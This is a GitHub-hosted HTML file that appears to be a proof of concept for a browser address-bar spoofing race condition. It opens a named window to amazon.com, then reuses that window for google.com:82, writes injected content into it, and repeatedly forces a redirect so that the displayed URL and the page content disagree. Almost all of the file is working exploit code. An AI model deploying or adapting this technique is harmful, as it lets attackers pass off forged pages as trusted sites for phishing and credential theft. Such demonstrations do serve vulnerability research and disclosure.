test/race.html at main · onydose/test · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<head>
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
    <a href="javascript:window.open('https://www.amazon.com/','x');" onclick="startSpoof()">Spoof</a>
</body>

    <script>

    let windowSpoof;

    function race() {
      try {
        windowSpoof.location.href !== 'about:blank';
      }
      catch (e) {
        windowSpoof.location.href='https://www.google.com/csi';
      }
    }

    function startSpoof() {

      windowSpoof = window.open("https://www.google.com:82","x");
      windowSpoof.document.write("<h2>Your address bar has been spoofed. This is not https://www.amazon.com/</h2>");

      setInterval('race()', 0);

    }

    </script>